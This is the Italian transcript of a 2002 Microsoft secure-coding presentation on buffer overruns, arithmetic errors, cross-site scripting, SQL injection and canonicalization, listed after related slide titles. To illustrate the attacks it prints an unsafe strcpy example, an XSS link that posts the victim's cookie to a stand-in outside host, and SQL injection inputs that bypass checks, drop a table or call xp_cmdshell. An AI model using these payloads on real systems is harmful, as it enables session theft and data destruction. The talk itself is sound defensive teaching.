Scrivere codice sicuro

Slides:



Advertisements
Presentazioni simili
3/25/2017 3:51 AM TechNet Security Workshop per la PMI Come rendere sicura l'infrastruttura IT di una Piccola e Media Impresa Marco Agnoli Responsabile.
Advertisements

UNO STRUMENTO PER INTERAGIRE CON GLI UTENTI DELLE PAGINE WEB
Active Server Pages ed ADO. Scrivere ASP Le pagine ASP possono contenere codice HTML o XML Le parti del documento che racchiudono codice script vanno.
Elaborazione di Franco Grivet Chin
JavaScript 1. Per cominciare.
Stored Procedure Function Trigger
Unità D2 Database nel web. Obiettivi Comprendere il concetto di interfaccia utente Comprendere la struttura e i livelli che compongono unapplicazione.
Windows Server 2003 Active Directory Diagnostica, Troubleshooting e Ripristino PierGiorgio Malusardi IT Pro – Evangelist Microsoft.
ISA Server 2004 Enterprise Edition Preview. ISA Server 2004.
ISA Server 2004 Configurazione di Accessi via VPN
Visual Studio Tools For Office 2005 Fabio Santini. NET Senior Developer Evangelist Microsoft Italy.
Windows Server 2003 SP1 Security Configuration Wizard PierGiorgio Malusardi IT Pro Evangelist Microsoft.
Introduzione ad Active Directory
Sviluppare applicazioni per utenti non-admin Fabio Santini Senior Developer Evangelist.
Consumare Web Service Andrea Saltarello
Training Microsoft Visio Marzo, 2006
Sharepoint Gabriele Castellani
| | Microsoft Certificate Lifecycle Manager.
Branch office update – SP2. Agenda Messa in esercizio degli uffici remoti Compressione HTTP Differentiated Services Cache di BITS.
Introduzione al datawarehouse
1 Smart Client distribuzione e aggiornamento Fabio Santini.
PHP.
INTERNET : ARPA sviluppa ARPANET (rete di computer per scopi militari)
Mantenimento dello stato Laboratorio Progettazione Web AA 2009/2010 Chiara Renso ISTI- CNR -
Connessione con MySQL.
Analisi e Contromisure di tecniche di Sql Injection
1 Università della Tuscia - Facoltà di Scienze Politiche.Informatica 2 - a.a Prof. Francesco Donini Active Server Pages.
Fondamenti di Informatica II Ingegneria Informatica / Automatica (A-I) Meccanica Prof. M.T. PAZIENZA a.a – 3° ciclo.
UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della.
Seminario di Sicurezza
Laboratorio di Linguaggi lezione VIII Marco Tarini Università dellInsubria Facoltà di Scienze Matematiche, Fisiche e Naturali di Varese Corso di Laurea.
CAPITOLO 2 INTRODUZIONE AL LINGUAGGIO JAVA E ALL'AMBIENTE HOTJAVA.
Item Tracking in NAV 5.0 SOLUTIONS. Item Tracking Perchè cambiare Problemi delle release precedenti –Difficoltà di utilizzo –Non perfetta integrazione.
Lezione 2 Programmare in ASP
Elaborazione di Franco Grivet Chin
Corso di PHP.
Ing. Enrico Lecchini BetaTre S.r.l.
Supporto nativo e avvio da dischi VHD
"Non-Admin" Developing "Non-Admin" Developing Fabio Santini.NET Senior Developer Evangelist Microsoft Italy.
Modulo 1 – la sicurezza dei dati e la privacy u.d. 7 (syllabus – 1.7.2)
Analisi (Analista) Progettazione (Progettista) Sviluppo o Traduzione (Sviluppatore) Documentazione.
Laboratorio di Linguaggi lezione VII: variabili Globali e Locali Marco Tarini Università dellInsubria Facoltà di Scienze Matematiche, Fisiche e Naturali.
Sistemi Informativi sul Web
Slide 1 Un browser migliore Passa a Firefox – il modo più veloce, sicuro e intelligente per navigare sul Web.
Presentazione Data Base Ovvero: il paradigma LAPM (Linux - Apache - PHP - mySQL) come supporto Open Source ad un piccolo progetto di Data Base relazionale,
1 Applet ed HTML Fondamenti di Informatica Corso D.
ASP – Active Server Pages - 1 -Giuseppe De Pietro Introduzione ASP, acronimo di Active Server Pages, sta ad indicare una tecnologia per lo sviluppo di.
ASP – Active Server Pages Introduzione Pagine Web Statiche & Dinamiche(ASP)
INTRODUZIONE A JAVASCRIPT
Lezione 8.
JavaScript Generalità Cos'è JavaScript?
Laboratorio 4: PHP e MySQL
Introduzione a Javascript
Eprogram informatica V anno. ASP.NET Introduzione ASP.NET (Active Server Page) è il linguaggio che, sfruttando la tecnologia.NET, permette di: -scrivere.
Programmazione Web PHP e MySQL 1. 2Programmazione Web - PHP e MySQL Esempio: un blog.
Microsoft Confidential Gabriele Castellani Developer & Platform Evangelism Microsoft.
ASP.NET – Autenticazione e Sicurezza basata sui ruoli
Sviluppo per Pocket PC con SQL Server CE 2.0 Fabio Santini Silvano Coriani.NET Developer Evangelist Microsoft Corporation.
TW Asp - Active Server Pages Nicola Gessa. TW Nicola Gessa Introduzione n Con l’acronimo ASP (Active Server Pages) si identifica NON un linguaggio di.
Certificati e VPN.
Extension pack per IIS7 Piergiorgio Malusardi IT Pro Evangelist
Sicurezza e attacchi informatici
Eprogram informatica V anno.
PHP.  HTML (Hyper Text Markup Language)  CSS (Cascading Style Sheets)  Javascript (linguaggio di programmazione client)  PHP ( Hypertext Preprocessor.
12 dicembre Analisi di sicurezza dell’applicazione SISS Security Assessment dell’applicativo e Reversing del client.
I sistemi operativi Funzioni principali e caratteristiche.
Gaetano Anastasi Beatrice Miotti Lorenzo Guerriero Monica Pellegrinelli Massimiliano Sartor Giorgio Macauda SQLite Esempi di utilizzo della libreria in.
Eprogram informatica V anno. Programmare in rete.
PHP HyperText Prepocessor.  Linguaggio di scripting lato server sviluppato per generare pagine web.  Permette ad un sito web di diventare dinamico 
ASP – Active Server Pages - 1 -Giuseppe Tandoi ASP – Active Server Pages Tecnologia per lo sviluppo di pagine dinamiche.
Transcript della presentazione:

Scrivere codice sicuro Fabio Santini .NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy

Agenda Buffer Overruns Errori aritmetici CSS (Cross-Site Scripting) SQL Injection Canonicalization Isolated Storage ViewState

La necessità di codice protetto "Il recente attacco di un hacker potrebbe aver causato danni a circa 1500 siti Web” “Porto USA colpito da un hacker inglese” “La pirateria ha causato la perdita di 4.300 posti di lavoro ed ha provocato danni per 850 milioni di dollari” “Diverse aziende hanno dichiarato di aver perso 10 milioni di dollari in un solo attacco” “Il virus Sobig ha provocato in tutto il mondo danni pari a 30 miliardi di dollari” “Gli attacchi costeranno all'economia mondiale 1,6 trilioni di dollari quest'anno”

Cos'è un Buffer Overrun Si verifica quando i dati superano la dimensione prevista e sovrascrivono altri valori È frequente soprattutto nel codice C/C++ non gestito Può essere di quattro tipi: buffer overrun basato sullo stack buffer overrun dell'heap Sovrascrittura della v-table e del puntatore a funzione Sovrascrittura del gestore eccezioni Può essere sfruttato dai worm

Possibile conseguenza Possibili conseguenze dei sovraccarichi buffer Possibile conseguenza Obiettivo dell'hacker Violazione dell'accesso Realizzare gli attacchi DoS (denial of service) contro i server Instabilità Interferire con il normale funzionamento del software Inserimento di codice Ottenere privilegi per il proprio codice Sfruttare dati aziendali di vitale importanza Eseguire azioni distruttive

Esempio di sovraccarico buffer basato sullo stack Parte superiore dello stack void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4]; char[4] int Indirizzo di ritorno

I buffer overrun dell'heap Sovrascrivono i dati memorizzati nell'heap Sono più difficili da sfruttare di un buffer overrun Dati Puntatore strcpy xxxxxxx xxxxxxx

Come difendersi dai buffer overrun (1 di 2) Utilizzare con particolare cautela le seguenti funzioni: strcpy strncpy CopyMemory MultiByteToWideChar Utilizzare l'opzione di compilazione /GS in Visual C++ per individuare i sovraccarichi buffer Utilizzare strsafe.h per un gestione del buffer più sicura

Come difendersi dai buffer overrun (2 di 2)

DEMO

Gli errori aritmetici Si verificano quando vengono superati i limiti di una variabile Causano gravi errori in fase di esecuzione Vengono spesso sottovalutati Includono: Overflow – valore troppo grande per il tipo di dati Underflow – valore troppo piccolo per il tipo di dati

Come difendersi dagli errori aritmetici Tenere conto dei limiti del tipo di dati scelto Scrivere codice a prova di attacchi che verifichi la presenza di overflow Scrivere funzioni sicure e riutilizzabili Utilizzare una classe sicura basata su modello (se si scrive codice in C++)

DEMO

Cos'è il CSS? Una tecnica che consente agli hacker di: Eseguire script dannoso nel browser Web di un client Inserire tag <script>, <object>, <applet>, <form> e <embed> Rubare informazioni sulla sessione Web e cookie di autenticazione Accedere al computer client Qualsiasi pagina Web che esegue il rendering HTML e contenente input dell'utente è vulnerabile

Due impieghi comuni del CSS Attaccare le piattaforme di posta elettronica basate sul Web e i forum Utilizzo dei tag <form> HTML per reindirizzare informazioni private

Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName"))

Attacchi basati su form (2 di 2) <a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a>

Come difendersi dagli attacchi CSS Operazioni da non eseguire: Considerare attendibile l'input dell'utente Attivare l'eco dell'input dell'utente basato sul Web a meno che non sia stato convalidato Memorizzare informazioni segrete nei cookie Operazioni da eseguire: Utilizzare l'opzione del cookie HttpOnly Sfruttare le funzionalità di ASP.NET

DEMO

Cos'è l'SQL Injection? L'SQL Injection è: L'aggiunta di istruzioni SQL nell'input dell'utente Viene utilizzato dagli hacker per: Effettuare la scansione dei database Ignorare l'autorizzazione Eseguire più istruzioni SQL Richiamare stored procedure incorporate

Esempi di SQL Injection sqlString = "SELECT HasShipped FROM" + " OrderDetail WHERE OrderID ='" + ID + "'"; Se la variabile ID viene letta direttamente da una casella di testo di un Web Form o di un form di Windows, l'utente potrebbe immettere: ALFKI1001 ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') --

Come difendersi dall'SQL Injection Verificare che l'input non sia infetto. Considerare tutto l'input pericoloso fino a quando non viene dimostrato il contrario Cercare dati validi e respingere tutto il resto Utilizzare espressioni regolari per rimuovere i caratteri indesiderati Eseguire con i privilegi più bassi Non eseguire mai come “sa” Limitare l'accesso a stored procedure incorporate Utilizzare stored procedure o query con parametri SQL per accedere ai dati Non attivare l'eco di errori ODBC

DEMO

Problemi di Canonicalization Generalmente esistono più metodi per assegnare i nomi Sono disponibili rappresentazioni alternative per: Nomi file URL Periferiche (ad esempio stampanti) Gli hacker possono sfruttare il codice che consente di effettuare determinate operazioni in base ai nomi file o agli URL

Problemi di Canonicalization Esempio 1 – Nomi file MyLongFile.txt MyLongFile.txt. MyLong~1.txt MyLongFile.txt::$DATA

Problemi di Canonicalization Esempio 2 – Rappresentazione dei caratteri Esistono molti modi per rappresentare i caratteri su Internet http://www.microsoft.com/technet/security Equivale a - http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity http://www.microsoft.com%c0%aftechnet%c0%afsecurity http://www%25%32%65microsoft.com/technet/security http://172.43.122.12 = http://2888530444

DEMO

© 2002 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.